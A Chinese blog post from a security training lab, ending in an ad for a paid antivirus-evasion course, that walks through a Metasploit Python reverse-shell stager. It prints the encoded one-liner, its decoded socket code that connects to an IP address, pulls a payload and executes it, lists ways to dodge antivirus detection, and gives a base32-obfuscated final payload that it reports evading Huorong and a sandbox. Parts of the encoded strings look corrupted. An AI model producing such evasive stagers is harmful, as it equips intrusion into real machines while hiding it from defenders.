文章来源|MS08067 安全实验室
对于MSF生成的shellcode都是一样的~
所以从代码层面来讲来说,不论是什么语言的实现,最后的代码实现的逻辑都是一样的,由于对于java并不了解,但听懂了课堂代码的逻辑,就是先循环饶了了几次然后再建立连接小马拉大马,后参考了群里其他同学作业后得此下文!
因为自己有一定python基础 所以这里对python的源码免杀来进行浅显的分析:
首先我们msf生成一个python的马:
可以看到落地火绒报毒:
看下源码:
```
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1Cwujqvtdb1U97roatdKKrb8EUnzF27ZBFODUuMTMwJyw2NjY2KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))
```
所以payload是:
简单处理一下:
```
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.85.130',6666))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
```
简单分析一波:
import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用
代码的大概意思就是
循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接
后面的代码
涉及到网络编程,不太了解,暂时搁置,这阵子了解一下网络编程后再来看
这里的话我感觉也可以改一下编码,但是不知道能否实行
所以这里就是一个基础的msf-pyhton的payload
基本上就是编码了一下然后直接建立连接,那么这里的话免杀思路如下:
1.改一下编码方式,最直接的
2.把木马里面的函数用不同方式实现
3.在木马里加点费功能混淆一下
4.函数名啥了改改,”特征值得改一下“,一些可以改的参数就改成自己的
(就跟抄作业似的,最后实现的功能都是一样的,你抄了别人的,你不能全抄把,哪不合适,就改改呗,嗯,改改呗,让杀软老师以为你是自己写的,不是抄msf的就行了,就给你过了)
所以我们这里的话
(\t)这里是因为我懒得替换了 为了一会好整成一行 (手动狗头)
我就简单做了这种混淆,然后整合回一行,然后最外面的编码我们用base32
NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY38EL9PSypgsoxPWZ4B4azon5wN6H1DHhkZIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=
最后的payload:
exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY35NaXQM3nBSKAhcm6NGzkUmZtT35gBhbqXIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=')[0]))
设置好监听和载荷(这里payload一定要选对,因为我才接触msf不久,选错监听,老不上线,哭死)
木马成功上线
最后测试木马免杀效果
Good
然后给沙箱
其余的我就不测了,360大概率也过~
4.23号 免杀班 第1期
每期班定价1999,第1期班首发价:1699,MS08067星球成员或者已报其他班的同学,可享优惠价1499元~
培训采用WIKI预习+在线直播学习+网站录播复习+微信群解答的形式
每周五、六、日的晚间 19:30-21:30,共19节课,每节课2小时
如果无法准时参加直播课程,在线培训的每节课程都会被录制成视频上传到官方网站(www.ms08067.com),可随时随地在线观看。
1.可直接登录官网在线报名:https://www.ms08067.com/my/course/18(复制链接到浏览器即可~)
2.可加客服微信报名,客服二维码👇
你距离免杀大佬,只差一个决定
报名咨询联系小客服
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部群永久有效!